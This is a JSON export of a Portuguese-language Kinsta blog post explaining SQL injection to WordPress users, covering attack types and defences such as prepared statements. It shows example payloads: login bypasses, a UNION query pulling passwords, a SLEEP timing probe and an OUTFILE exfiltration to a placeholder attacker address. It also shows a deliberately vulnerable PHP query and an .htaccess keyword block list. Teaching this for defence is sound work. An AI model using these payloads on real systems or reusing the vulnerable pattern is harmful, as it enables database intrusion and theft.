{"id":32958,"date":"2020-01-14T03:29:32","date_gmt":"2020-01-14T11:29:32","guid":{"rendered":"https:\/\/staging.kinsta.site\/?p=62827"},"modified":"2022-07-13T05:40:32","modified_gmt":"2022-07-13T08:40:32","slug":"injecao-sql","status":"publish","type":"post","link":"https:\/\/staging.kinsta.site\/pt\/blog\/injecao-sql\/","title":{"rendered":"Inje\u00e7\u00e3o de SQL: Um Guia para Principiantes para Usu\u00e1rios do WordPress"},"content":{"rendered":"<p>SQL (Structured Query Language) \u00e9 uma linguagem que nos permite interagir com <a href=\"https:\/\/staging.kinsta.site\/pt\/base-de-conhecimento\/banco-de-dados-wordpress\/\" target=\"_blank\" rel=\"noopener noreferrer\">bases de dados<\/a>. As aplica\u00e7\u00f5es web modernas utilizam bases de dados para gerir dados e apresentar conte\u00fados din\u00e2micos aos leitores.<\/p>\n<p>Inje\u00e7\u00e3o de SQL, ou SQLi, \u00e9 um ataque a uma aplica\u00e7\u00e3o web ao comprometer a sua base de dados atrav\u00e9s de instru\u00e7\u00f5es SQL maliciosas.<\/p>\n<p>Como \u00e9 um ataque comum, vamos tentar aprender mais sobre o que \u00e9, como acontece, e como se defender dele.<\/p>\n<p>Pronto? Vamos mergulhar!<\/p>\n<div><\/div><kinsta-auto-toc heading=\"Table of Contents\" exclude=\"last\" list-style=\"arrow\" selector=\"h2\" count-number=\"-1\"><\/kinsta-auto-toc>\n<h2>O que \u00e9 Inje\u00e7\u00e3o de SQL?<\/h2>\n<p>Inje\u00e7\u00e3o de SQL, ou SQLi, \u00e9 um tipo de ataque a uma aplica\u00e7\u00e3o web que permite a um atacante inserir instru\u00e7\u00f5es SQL maliciosas na aplica\u00e7\u00e3o web, potencialmente ganhando acesso a dados sens\u00edveis no banco de dados ou destruindo esses dados.<\/p>\n<p>Nas duas d\u00e9cadas desde sua descoberta, a inje\u00e7\u00e3o SQL tem sido consistentemente a principal prioridade dos <a href=\"https:\/\/staging.kinsta.site\/pt\/blog\/contrate-um-desenvolvedor-do-wordpress\/\" target=\"_blank\" rel=\"noopener noreferrer\">desenvolvedores web<\/a> ao projetar aplicativos.<\/p>\n<p>O Barclaycard estimou em 2012 que <a href=\"https:\/\/www.techworld.com\/news\/security\/barclays-97-percent-of-data-breaches-still-due-sql-injection-3331283\/\" target=\"_blank\" rel=\"noopener noreferrer\">97% das quebras de dados se iniciam com um ataque de inje\u00e7\u00e3o SQL<\/a>. Uma inje\u00e7\u00e3o SQL \u00e9 prevalente ainda hoje e a gravidade dos ataques de inje\u00e7\u00e3o em uma aplica\u00e7\u00e3o web \u00e9 amplamente reconhecida. \u00c9 um dos <a href=\"https:\/\/www.owasp.org\/images\/7\/72\/OWASP_Top_10-2017_%28en%29.pdf.pdf\" target=\"_blank\" rel=\"noopener noreferrer\">dez maiores riscos de seguran\u00e7a de aplica\u00e7\u00f5es web mais cr\u00edticos<\/a> da OWASP.<\/p>\n<h2>Como Funciona a Vulnerabilidade da Inje\u00e7\u00e3o SQL?<\/h2>\n<p>Uma vulnerabilidade de inje\u00e7\u00e3o SQL d\u00e1 a um atacante acesso completo ao banco de dados da sua aplica\u00e7\u00e3o atrav\u00e9s do uso de instru\u00e7\u00f5es SQL maliciosas.<\/p>\n<p>Nesta se\u00e7\u00e3o, n\u00f3s compartilhamos um exemplo de como uma aplica\u00e7\u00e3o vulner\u00e1vel se parece.<\/p>\n<p>Imagine o fluxo de trabalho de uma aplica\u00e7\u00e3o web t\u00edpica que envolve solicita\u00e7\u00f5es de banco de dados atrav\u00e9s de entradas do usu\u00e1rio. Voc\u00ea leva a entrada do usu\u00e1rio atrav\u00e9s de um formul\u00e1rio, por exemplo, um <a href=\"https:\/\/staging.kinsta.site\/pt\/blog\/login-wordpress-url\/\" target=\"_blank\" rel=\"noopener noreferrer\">formul\u00e1rio de login<\/a>. Em seguida, voc\u00ea consulta seu banco de dados com os campos enviados pelo usu\u00e1rio para autentic\u00e1-los. A estrutura da consulta \u00e0 sua base de dados \u00e9 algo parecido com isto:<\/p>\n<pre><code class=\"language-sql\">select * from user_table\nwhere\u00a0username = 'sdaityari'\nand\u00a0password = 'mypassword';\n<\/code><\/pre>\n<p>Para simplificar, vamos assumir que voc\u00ea est\u00e1 armazenando suas senhas como texto claro. \u00c9, no entanto, uma boa pr\u00e1tica <a href=\"https:\/\/staging.kinsta.site\/pt\/base-de-conhecimento\/sais-wordpress\/\" target=\"_blank\" rel=\"noopener noreferrer\">salgar as suas senhas<\/a> e depois apress\u00e1-las. Continuando, se voc\u00ea recebeu o nome de usu\u00e1rio e a senha do formul\u00e1rio, voc\u00ea pode definir a consulta no PHP da seguinte forma:<\/p>\n<pre><code class=\"language-php\">\/\/ Connect to SQL database\n$db_query = \"select * from user_table where\nusername = '\".$user.\"'\nAND password = '\".$password.\"';\";\n\/\/ Execute query\n<\/code><\/pre>\n<p>Se algu\u00e9m introduzir o valor &#8220;admin&#8217;;-&#8221; no campo nome de utilizador, a consulta SQL resultante que a vari\u00e1vel $db_query gera ser\u00e1 a seguinte:<\/p>\n<pre><code class=\"language-sql\">select * from user_table where\nusername = 'admin';--' and password = 'mypassword'\n<\/code><\/pre>\n<p>O que faz esta consulta?<\/p>\n<p>Um coment\u00e1rio em SQL come\u00e7a com tra\u00e7os duplos (&#8211;). A consulta resultante filtra somente pelo nome de usu\u00e1rio sem levar em conta a senha. Se n\u00e3o houvesse seguran\u00e7a para evitar isso, voc\u00ea simplesmente teria acesso administrativo \u00e0 aplica\u00e7\u00e3o web apenas usando este truque.<\/p>\n<p>Alternativamente, um ataque booleano tamb\u00e9m pode ser usado neste exemplo para obter acesso. Se um atacante entrar &#8220;password&#8217; ou 1=1;-&#8221; no campo password, a consulta resultante seria a seguinte:<\/p>\n<pre><code class=\"language-sql\">select * from user_table where\nusername = 'admin' and\npassword = 'password' or 1=1;--';\n<\/code><\/pre>\n<p>Neste caso, mesmo que sua senha esteja errada, voc\u00ea seria autenticado na aplica\u00e7\u00e3o. Se a sua p\u00e1gina web exibir os resultados da consulta da base de dados, um atacante pode usar o comando mostrar tabelas, comando para exibir as tabelas na base de dados e, em seguida, seletivamente soltar tabelas, se assim o desejar.<\/p>\n<figure style=\"width: 666px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/staging.kinsta.site\/pt\/wp-content\/uploads\/sites\/3\/2019\/11\/exploits-of-a-mom.png\" alt=\"Um desenho animado sobre inje\u00e7\u00e3o SQL\" width=\"666\" height=\"205\"><figcaption class=\"wp-caption-text\">Um desenho animado sobre inje\u00e7\u00e3o SQL (fonte de imagem: <a href=\"https:\/\/xkcd.com\/327\/\">XKCD<\/a>)<\/figcaption><\/figure>\n<p>Exploits of a Mom, uma banda desenhada popular do XKCD, mostra a conversa de uma m\u00e3e com a escola do seu filho, onde ela perguntou se ela realmente chamou seu filho de &#8220;Robert&#8217;); DROP TABLE Students; &#8211;&#8220;.<\/p>\n<h2>Tipos de Inje\u00e7\u00e3o de SQL<\/h2>\n<p>Agora que voc\u00ea conhece os fundamentos da vulnerabilidade de uma inje\u00e7\u00e3o SQL, vamos explorar os v\u00e1rios tipos de ataques de inje\u00e7\u00e3o SQL e a raz\u00e3o por tr\u00e1s de cada um deles.<\/p>\n<h3>Inje\u00e7\u00e3o de SQL In-Band<\/h3>\n<p>Inje\u00e7\u00e3o de SQL In-Band \u00e9 a forma mais simples de inje\u00e7\u00e3o SQL. Neste processo, o atacante \u00e9 capaz de usar o mesmo canal para inserir o c\u00f3digo SQL malicioso na aplica\u00e7\u00e3o, bem como reunir os resultados. Vamos discutir duas formas de ataques de inje\u00e7\u00e3o SQL na banda:<\/p>\n<h4>Ataque Baseado em Erros<\/h4>\n<p>Um atacante usa uma t\u00e9cnica de inje\u00e7\u00e3o SQL baseada em erro durante as fases iniciais de seu ataque. A id\u00e9ia por tr\u00e1s de uma inje\u00e7\u00e3o SQL baseada em erros \u00e9 obter mais informa\u00e7\u00f5es sobre a estrutura do banco de dados e os nomes das tabelas que a aplica\u00e7\u00e3o web segue. Por exemplo, uma mensagem de erro pode conter o nome da tabela inclu\u00edda na consulta e os nomes das colunas da tabela. Estes dados podem ent\u00e3o ser usados para criar novos ataques.<\/p>\n<h4>Ataque com base na Uni\u00e3o<\/h4>\n<p>Neste m\u00e9todo, um atacante que usa o join SQL union para exibir os resultados de uma tabela diferente. Por exemplo, se um atacante estiver em uma <a href=\"https:\/\/staging.kinsta.site\/pt\/blog\/pesquisa-wordpress\/\" target=\"_blank\" rel=\"noopener noreferrer\">p\u00e1gina de busca<\/a>, ele pode anexar os resultados de outra tabela.<\/p>\n<pre><code class=\"language-sql\">select title, link from post_table\nwhere id &lt; 10\nunion\nselect username, password\nfrom user_table; --;\n<\/code><\/pre>\n<h3>Inje\u00e7\u00e3o SQL Inferencial (Inje\u00e7\u00e3o SQL Cega)<\/h3>\n<p>Mesmo que um atacante gere um erro na consulta SQL, a resposta da consulta pode n\u00e3o ser transmitida diretamente para a p\u00e1gina web. Nesse caso, o atacante precisa de investigar mais.<\/p>\n<p>Nesta forma de inje\u00e7\u00e3o SQL, o atacante envia v\u00e1rias consultas para o banco de dados para avaliar como a aplica\u00e7\u00e3o analisa essas respostas. Uma inje\u00e7\u00e3o SQL inferencial \u00e9 \u00e0s vezes tamb\u00e9m conhecida como <strong>inje\u00e7\u00e3o SQL cega<\/strong>. A seguir, veremos dois tipos de inje\u00e7\u00f5es SQL inferenciais: inje\u00e7\u00e3o SQL booleana e inje\u00e7\u00e3o SQL baseada no tempo.<\/p>\n<h4>Boolean Attack<\/h4>\n<p>Se uma consulta SQL resultar em um erro que n\u00e3o tenha sido tratado internamente na aplica\u00e7\u00e3o, a p\u00e1gina web resultante pode lan\u00e7ar um erro, carregar uma p\u00e1gina em branco, ou carregar parcialmente. Em uma inje\u00e7\u00e3o booleana SQL, um atacante avalia quais partes do input de um usu\u00e1rio s\u00e3o vulner\u00e1veis a inje\u00e7\u00f5es SQL, tentando duas vers\u00f5es diferentes de uma cl\u00e1usula booleana atrav\u00e9s do input:<\/p>\n<ul>\n<li>&#8220;\u2026 and 1=1&#8221;<\/li>\n<li>&#8220;\u2026 and 1=2&#8221;<\/li>\n<\/ul>\n<p>Se a aplica\u00e7\u00e3o funciona normalmente no primeiro caso mas mostra uma anomalia no segundo caso, indica que a aplica\u00e7\u00e3o \u00e9 vulner\u00e1vel a um ataque de inje\u00e7\u00e3o SQL.<\/p>\n<h4>Ataque Baseado no Tempo<\/h4>\n<p>Um ataque de inje\u00e7\u00e3o SQL baseada no tempo tamb\u00e9m pode ajudar um atacante <a href=\"https:\/\/staging.kinsta.site\/pt\/base-de-conhecimento\/vulnerabilidade-de-seguranca\/\" target=\"_blank\" rel=\"noopener noreferrer\">a determinar se uma vulnerabilidade est\u00e1 presente<\/a> em uma aplica\u00e7\u00e3o web. Um atacante utiliza uma fun\u00e7\u00e3o pr\u00e9-definida baseada no tempo do sistema de gerenciamento de banco de dados que \u00e9 utilizado pela aplica\u00e7\u00e3o. Por exemplo, <a href=\"https:\/\/staging.kinsta.site\/pt\/base-de-conhecimento\/o-que-e-mysql\/\" target=\"_blank\" rel=\"noopener noreferrer\">no MySQL<\/a>, <a href=\"http:\/\/dev.mysql.com\/doc\/refman\/5.0\/en\/miscellaneous-functions.html#function_sleep\" target=\"_blank\" rel=\"noopener noreferrer\">a fun\u00e7\u00e3o sleep()<\/a> instrui o banco de dados a esperar um certo n\u00famero de segundos.<\/p>\n<pre><code class=\"language-sql\">select * from comments\nWHERE post_id=1-SLEEP(15);\n<\/code><\/pre>\n<p>Se tal consulta resultar num atraso, o atacante saber\u00e1 que \u00e9 vulner\u00e1vel.<\/p>\n<h3>Inje\u00e7\u00e3o de SQL Fora de Banda<\/h3>\n<p>Se um atacante \u00e9 incapaz de reunir os resultados de uma inje\u00e7\u00e3o SQL atrav\u00e9s do mesmo canal. T\u00e9cnicas de inje\u00e7\u00e3o SQL fora da banda podem ser usadas como uma alternativa \u00e0s t\u00e9cnicas de inje\u00e7\u00e3o SQL inferencial.<\/p>\n<p>Normalmente, estas t\u00e9cnicas envolvem o envio de dados da base de dados para uma localiza\u00e7\u00e3o maliciosa \u00e0 escolha do atacante. Este processo tamb\u00e9m est\u00e1 altamente dependente das capacidades do sistema de gest\u00e3o de bases de dados.<\/p>\n<p>Um ataque de inje\u00e7\u00e3o SQL fora da banda utiliza uma capacidade de processo de arquivo externo do seu SGBD. No MySQL, as fun\u00e7\u00f5es LOAD_FILE() e INTO OUTFILE podem ser utilizadas para solicitar ao MySQL que transmita os dados para uma fonte externa. Veja como um atacante pode usar o OUTFILE para enviar os resultados de uma consulta a uma fonte externa:<\/p>\n<pre><code class=\"language-sql\">select * from post_table\ninto OUTFILE '\\\\\\\\MALICIOUS_IP_ADDRESS\\location'\n<\/code><\/pre>\n<p>Da mesma forma, a fun\u00e7\u00e3o LOAD_FILE() pode ser usada para ler um arquivo do servidor e exibir seu conte\u00fado. Uma combina\u00e7\u00e3o de LOAD_FILE() e OUTFILE pode ser usada para ler o conte\u00fado de um arquivo no servidor e depois transmiti-lo para um local diferente.<\/p>\n<h2>Como Prevenir Inje\u00e7\u00f5es SQL<\/h2>\n<p>At\u00e9 agora, temos explorado as vulnerabilidades de uma aplica\u00e7\u00e3o web que pode levar a ataques de inje\u00e7\u00e3o SQL. Uma vulnerabilidade de inje\u00e7\u00e3o SQL pode ser usada por um atacante para ler, modificar ou mesmo remover o conte\u00fado do seu banco de dados.<\/p>\n<p>Al\u00e9m disso, tamb\u00e9m pode permitir a leitura de um arquivo em qualquer local dentro do servidor e a transfer\u00eancia do conte\u00fado para outro lugar. Nesta se\u00e7\u00e3o, n\u00f3s exploramos v\u00e1rias t\u00e9cnicas para proteger sua aplica\u00e7\u00e3o web e site contra ataques de inje\u00e7\u00e3o SQL.<\/p>\n<h3>Escape User Inputs<\/h3>\n<p>Em geral, \u00e9 uma tarefa dif\u00edcil determinar se uma string de usu\u00e1rio \u00e9 maliciosa ou n\u00e3o. Por isso, a melhor maneira de fazer isso \u00e9 escapar de caracteres especiais na entrada do usu\u00e1rio.<\/p>\n<p>Este processo salva-o de um ataque de inje\u00e7\u00e3o SQL. Voc\u00ea pode escapar de uma string antes de construir a consulta no <a href=\"https:\/\/staging.kinsta.site\/pt\/blog\/o-php-morreu\/\">PHP<\/a> usando a fun\u00e7\u00e3o <code>mysql_escape_string()<\/code>. Voc\u00ea tamb\u00e9m pode escapar de uma string no MySQL usando a fun\u00e7\u00e3o <code>mysqli_real_escape_string()<\/code>.<\/p>\n<p>Ao exibir a sa\u00edda como HTML, voc\u00ea tamb\u00e9m precisar\u00e1 converter a string para garantir que os caracteres especiais n\u00e3o interfiram com a marca\u00e7\u00e3o HTML. Voc\u00ea pode converter caracteres especiais em PHP usando a fun\u00e7\u00e3o <code>htmlspecialchars()<\/code>.<\/p>\n<h3>Usar Declara\u00e7\u00f5es Preparadas<\/h3>\n<p>Alternativamente, voc\u00ea pode usar instru\u00e7\u00f5es preparadas para evitar inje\u00e7\u00f5es SQL. Uma instru\u00e7\u00e3o preparada \u00e9 um modelo de uma consulta SQL, onde voc\u00ea especifica par\u00e2metros em uma etapa posterior para execut\u00e1-la. Aqui est\u00e1 um exemplo de uma declara\u00e7\u00e3o preparada em PHP e MySQLi.<\/p>\n<pre><code class=\"language-php\">$query = $mysql_connection-&gt;prepare(\"select * from user_table where username = ? and password = ?\");\n$query-&gt;execute(array($username, $password));<\/code><\/pre>\n<h3>Outras Verifica\u00e7\u00f5es de Higiene para Prevenir Ataques SQL<\/h3>\n<p>O pr\u00f3ximo passo para mitigar esta vulnerabilidade \u00e9 limitar o acesso \u00e0 base de dados apenas ao que \u00e9 necess\u00e1rio.<\/p>\n<p>Por exemplo, conecte sua aplica\u00e7\u00e3o web ao SGBD usando um usu\u00e1rio espec\u00edfico, que tem acesso apenas \u00e0 base de dados relevante.<\/p>\n<p>Restringir o acesso do usu\u00e1rio da base de dados a todos os outros locais do servidor. Voc\u00ea tamb\u00e9m pode desejar bloquear certas palavras-chave SQL no seu URL atrav\u00e9s do seu servidor web. Se voc\u00ea estiver usando o <a href=\"https:\/\/staging.kinsta.site\/pt\/blog\/nginx-vs-apache\/\" target=\"_blank\" rel=\"noopener noreferrer\">Apache<\/a> como um servidor web, voc\u00ea pode usar as seguintes linhas de c\u00f3digo no seu <a href=\"https:\/\/staging.kinsta.site\/pt\/base-de-conhecimento\/arquivo-wordpress-htaccess\/\" target=\"_blank\" rel=\"noopener noreferrer\">arquivo .htaccess<\/a> para mostrar um erro 403 Proibido a um atacante em potencial.<\/p>\n<p>Voc\u00ea deve ter cuidado antes de usar esta t\u00e9cnica, pois o Apache mostrar\u00e1 um erro ao leitor se o URL contiver estas palavras-chave.<\/p>\n<pre><code>RewriteCond %{QUERY_STRING} [^a-z](declare\u00a6char\u00a6set\u00a6cast\u00a6convert\u00a6delete\u00a6drop\u00a6exec\u00a6insert\u00a6meta\u00a6script\u00a6select\u00a6truncate\u00a6update)[^a-z] [NC]\nRewriteRule (.*) - [F]<\/code><\/pre>\n<aside role=\"note\" class=\"wp-block-kinsta-notice is-style-info\">\n            <h3>Info<\/h3>\n        <p>Kinsta executa WordPress no servidor web Nginx, que n\u00e3o suporta um arquivo .htaccess. Se voc\u00ea gostaria de criar uma regra para bloquear palavras-chave na sua URL, entre em contato com a <a href=\"https:\/\/staging.kinsta.site\/docs\/wordpress-support-ticket\/\" target=\"_blank\" rel=\"noopener noreferrer\">equipe de suporte da Kinsta<\/a> e eles ser\u00e3o capazes de ajudar.<\/p>\n<\/aside>\n\n<p>Como uma dica adicional de preven\u00e7\u00e3o, voc\u00ea deve sempre usar <a href=\"https:\/\/staging.kinsta.site\/pt\/blog\/wordpress-hackeado\/#2-keep-your-site-updated\" target=\"_blank\" rel=\"noopener noreferrer\">um software atualizado<\/a>. Quando uma nova vers\u00e3o ou um patch \u00e9 lan\u00e7ado, os bugs que foram corrigidos na atualiza\u00e7\u00e3o s\u00e3o detalhados nas notas de lan\u00e7amento. Uma vez que os detalhes de um bug s\u00e3o divulgados ao p\u00fablico, executar uma vers\u00e3o antiga de qualquer software pode ser arriscado.<\/p>\n<h2>Inje\u00e7\u00e3o SQL no WordPress<\/h2>\n<p>Voc\u00ea est\u00e1 seguro contra qualquer vulnerabilidade de inje\u00e7\u00e3o SQL se estiver usando <a href=\"https:\/\/staging.kinsta.site\/pt\/base-de-conhecimento\/nucleo-wordpress\/\" target=\"_blank\" rel=\"noopener noreferrer\">arquivos principais atualizados do WordPress<\/a>. No entanto, quando voc\u00ea usa <a href=\"https:\/\/staging.kinsta.site\/pt\/melhores-temas-wordpress\/\">temas<\/a> e plugins de terceiros, toda a sua aplica\u00e7\u00e3o est\u00e1 em risco.<\/p>\n<p><strong>Seu site WordPress \u00e9 apenas t\u00e3o forte quanto seu elo mais fraco<\/strong>. Nesta se\u00e7\u00e3o, exploramos as principais considera\u00e7\u00f5es para mitigar a vulnerabilidade da inje\u00e7\u00e3o SQL no WordPress e como realizar verifica\u00e7\u00f5es de vulnerabilidade em seu site WordPress existente.<\/p>\n<h3>Preven\u00e7\u00e3o de Vulnerabilidades de Inje\u00e7\u00e3o SQL para WordPress<\/h3>\n<p>Para mitigar a vulnerabilidade da Inje\u00e7\u00e3o de SQL em seu <a href=\"https:\/\/staging.kinsta.site\/pt\/blog\/como-instalar-um-tema-do-wordpress\/\" target=\"_blank\" rel=\"noopener noreferrer\">tema<\/a> ou plugin do <a href=\"https:\/\/staging.kinsta.site\/pt\/blog\/como-instalar-um-tema-do-wordpress\/\" target=\"_blank\" rel=\"noopener noreferrer\">WordPress<\/a>, a \u00fanica regra que voc\u00ea deve seguir \u00e9 usar sempre <a href=\"https:\/\/developer.wordpress.org\/reference\/functions\/\" target=\"_blank\" rel=\"noopener noreferrer\">as fun\u00e7\u00f5es existentes do WordPress<\/a> ao interagir com o banco de dados.<\/p>\n<p>Estas fun\u00e7\u00f5es s\u00e3o exaustivamente testadas quanto a vulnerabilidades de inje\u00e7\u00e3o SQL durante o processo de desenvolvimento do WordPress. Por exemplo, se voc\u00ea gostaria de adicionar um coment\u00e1rio a um post, use a <a href=\"https:\/\/developer.wordpress.org\/reference\/functions\/wp_insert_comment\/\" target=\"_blank\" rel=\"noopener noreferrer\">fun\u00e7\u00e3o wp_insert_comment()<\/a> em vez de inserir dados diretamente na tabela wp_comments.<\/p>\n<p>Embora as fun\u00e7\u00f5es sejam extens\u00edveis, voc\u00ea pode ocasionalmente precisar executar uma consulta complexa. Nesse caso, certifique-se de utilizar o <a href=\"https:\/\/developer.wordpress.org\/reference\/classes\/wpdb\/\" target=\"_blank\" rel=\"noopener noreferrer\">grupo de fun\u00e7\u00f5es $wp_db<\/a>. Voc\u00ea pode usar $wpdb-&gt;prepare() para escapar da entrada do usu\u00e1rio antes de criar a consulta.<\/p>\n<p>Al\u00e9m disso, aqui est\u00e1 <a href=\"https:\/\/developer.wordpress.org\/themes\/theme-security\/data-sanitization-escaping\/\" target=\"_blank\" rel=\"noopener noreferrer\">uma lista de fun\u00e7\u00f5es para higienizar os dados<\/a> no WordPress. Estes ajudam-no a escapar de tipos espec\u00edficos de entradas de usu\u00e1rios, como e-mails e URLs.<\/p>\n<h3>Proteja seu site WordPress<\/h3>\n<p>Embora o <a href=\"https:\/\/staging.kinsta.site\/pt\/blog\/o-wordpress-e-seguro\/\" target=\"_blank\" rel=\"noopener noreferrer\">WordPress em si seja seguro<\/a>, problemas como software principal desatualizado, e <a href=\"https:\/\/staging.kinsta.site\/pt\/blog\/nulled-wordpress-plugins-temas\/\" target=\"_blank\" rel=\"noopener noreferrer\">plugins nulos<\/a> podem levar a vulnerabilidades. Embora n\u00e3o haja alternativa para voc\u00ea verificar minuciosamente se o seu site WordPress est\u00e1 vulner\u00e1vel \u00e0 inje\u00e7\u00e3o SQL, a complexidade de um site pode tornar essa tarefa desafiadora.<\/p>\n<p>Voc\u00ea pode usar uma ferramenta de digitaliza\u00e7\u00e3o on-line como o <a href=\"https:\/\/db.threatpress.com\/\" target=\"_blank\" rel=\"noopener noreferrer\">ThreatPass<\/a> e o <a href=\"https:\/\/wpscan.org\/\" target=\"_blank\" rel=\"noopener noreferrer\">WPScan<\/a> Vulnerability Database. Voc\u00ea pode auditar seus plugins para ver se o desenvolvimento deles estagnou. Se eles foram abandonados h\u00e1 algum tempo atr\u00e1s, pode n\u00e3o ser uma boa ideia us\u00e1-los no seu site.<\/p>\n<p>Se voc\u00ea ainda precisar absolutamente us\u00e1-los, certifique-se de testar completamente o c\u00f3digo e a funcionalidade deles em busca de vulnerabilidades. Tirando isto, certifique-se de seguir estas verifica\u00e7\u00f5es de higiene:<\/p>\n<ul>\n<li>Atualizar PHP, n\u00facleo do WordPress e MySQL<\/li>\n<li>Atualizar plug-ins e temas de terceiros<\/li>\n<li>Evite usar o usu\u00e1rio root para conectar o banco de dados SQL<\/li>\n<li>Limitar os acessos do usu\u00e1rio SQL a diret\u00f3rios sens\u00edveis<\/li>\n<li>Bloqueie palavras-chave SQL usando o seu servidor<\/li>\n<li>Mantenha os backups do seu site fora do local em caso de danos irrevers\u00edveis<\/li>\n<\/ul>\n<p>Aqui est\u00e1 <a href=\"https:\/\/staging.kinsta.site\/pt\/blog\/seguranca-wordpres\/\" target=\"_blank\" rel=\"noopener noreferrer\">um post detalhado sobre o WordPress Security<\/a> e uma lista exaustiva de verifica\u00e7\u00f5es. Al\u00e9m disso, voc\u00ea pode querer investir nestes <a href=\"https:\/\/staging.kinsta.site\/pt\/blog\/plugins-de-seguranca-wordpress\/\" target=\"_blank\" rel=\"noopener noreferrer\">plugins de alta seguran\u00e7a para WordPress<\/a>. Aqui est\u00e1 o que voc\u00ea deve fazer <a href=\"https:\/\/staging.kinsta.site\/pt\/blog\/wordpress-hackeado\/\" target=\"_blank\" rel=\"noopener noreferrer\">se o seu site WordPress for invadido<\/a> apesar dos seus melhores esfor\u00e7os.<\/p>\n<aside role=\"note\" class=\"wp-block-kinsta-notice is-style-info\">\n            <h3>Info<\/h3>\n        <p>Kinsta fornece uma <a href=\"https:\/\/staging.kinsta.site\/pt\/base-de-conhecimento\/seguranca-de-malware\/\">promessa de seguran\u00e7a contra malware<\/a>\u00a0a todos os seus clientes em todos os planos.<\/p>\n<\/aside>\n\n<h2>A Inje\u00e7\u00e3o de SQL \u00e9 ilegal?<\/h2>\n<p>Definitivamente, sim! Mesmo havendo uma vulnerabilidade real, um atacante ainda est\u00e1 tentando ter acesso a dados que de outra forma n\u00e3o estariam dispon\u00edveis para eles.<\/p>\n<p>Imagine um cen\u00e1rio em que algu\u00e9m deixa as chaves no carro. Conduzir para longe constitui uma ofensa s\u00f3 porque foi deixado aberto e desacompanhado? O ato de SQLi est\u00e1 sujeito a diferentes leis em v\u00e1rios pa\u00edses. Ela se enquadra no <a href=\"https:\/\/www.justice.gov\/sites\/default\/files\/criminal-ccips\/legacy\/2015\/01\/14\/ccmanual.pdf\" target=\"_blank\" rel=\"noopener noreferrer\">Computer Fraud and Abuse Act (1986) nos EUA<\/a>, e no <a href=\"http:\/\/www.legislation.gov.uk\/ukpga\/1990\/18\/contents\" target=\"_blank\" rel=\"noopener noreferrer\">Computer Misuse Act (1990) no Reino Unido<\/a>.<\/p>\n\n<h2>Resumo<\/h2>\n<p>Vulnerabilidades de inje\u00e7\u00e3o SQL foram descobertas h\u00e1 muito tempo. No entanto, <a href=\"https:\/\/www.webarxsecurity.com\/website-hacking-statistics-2018-february\/\" target=\"_blank\" rel=\"noopener noreferrer\">um relat\u00f3rio de 2018 sobre sites hackeados<\/a> sugere que SQLi \u00e9 o site hack mais comum para WordPress ap\u00f3s ataques XSS. Para evitar que aconte\u00e7am, voc\u00ea deveria:<\/p>\n<ul>\n<li>Entenda como funciona a vulnerabilidade da Inje\u00e7\u00e3o de SQL<\/li>\n<li>Explore v\u00e1rias maneiras pelas quais atacantes podem usar SQLi para obter acesso n\u00e3o autorizado \u00e0 sua aplica\u00e7\u00e3o web<\/li>\n<li>Implementar m\u00e9todos para proteger o seu site de ataques SQLi, como escapar de entradas de usu\u00e1rios e usar instru\u00e7\u00f5es preparadas<\/li>\n<li>Siga uma rotina de verifica\u00e7\u00e3o de seguran\u00e7a<\/li>\n<\/ul>\n<p>Como diz o velho ditado, &#8220;\u00e9 melhor prevenir do que remediar!&#8221;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>SQL (Structured Query Language) \u00e9 uma linguagem que nos permite interagir com bases de dados. As aplica\u00e7\u00f5es web modernas utilizam bases de dados para gerir dados &#8230;<\/p>\n","protected":false},"author":118,"featured_media":32971,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_kinsta_gated_content":false,"_kinsta_gated_content_redirect":"","footnotes":""},"tags":[221,180],"topic":[],"class_list":["post-32958","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","tag-sitesecurity","tag-wordpresshack"],"yoast_head":"<!-- This site is optimized with the Yoast SEO Premium plugin v17.1.2 (Yoast SEO v25.8) - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Inje\u00e7\u00e3o de SQL: Um Guia para Principiantes para Usu\u00e1rios do WordPress<\/title>\n<meta name=\"description\" content=\"Aprenda o que \u00e9 uma inje\u00e7\u00e3o de SQL, como a vulnerabilidade da inje\u00e7\u00e3o SQL pode existir em seus aplicativos web (como sites WordPress) e como evitar ataques.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/staging.kinsta.site\/pt\/blog\/injecao-sql\/\" \/>\n<meta property=\"og:locale\" content=\"pt_PT\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Inje\u00e7\u00e3o de SQL: Um Guia para Principiantes para Usu\u00e1rios do WordPress\" \/>\n<meta property=\"og:description\" content=\"Aprenda o que \u00e9 uma inje\u00e7\u00e3o de SQL, como a vulnerabilidade da inje\u00e7\u00e3o SQL pode existir em seus aplicativos web (como sites WordPress) e como evitar ataques.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/staging.kinsta.site\/pt\/blog\/injecao-sql\/\" \/>\n<meta property=\"og:site_name\" content=\"Kinsta\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/kinstapt\/\" \/>\n<meta property=\"article:published_time\" content=\"2020-01-14T11:29:32+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2022-07-13T08:40:32+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/staging.kinsta.site\/pt\/wp-content\/uploads\/sites\/3\/2020\/01\/injecao-sql.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"1460\" \/>\n\t<meta property=\"og:image:height\" content=\"730\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"Shaumik Daityari\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:description\" content=\"Aprenda o que \u00e9 uma inje\u00e7\u00e3o de SQL, como a vulnerabilidade da inje\u00e7\u00e3o SQL pode existir em seus aplicativos web (como sites WordPress) e como evitar ataques.\" \/>\n<meta name=\"twitter:image\" content=\"https:\/\/staging.kinsta.site\/pt\/wp-content\/uploads\/sites\/3\/2020\/01\/injecao-sql.jpg\" \/>\n<meta name=\"twitter:creator\" content=\"@kinsta_pt\" \/>\n<meta name=\"twitter:site\" content=\"@kinsta_pt\" \/>\n<meta name=\"twitter:label1\" content=\"Escrito por\" \/>\n\t<meta name=\"twitter:data1\" content=\"Shaumik 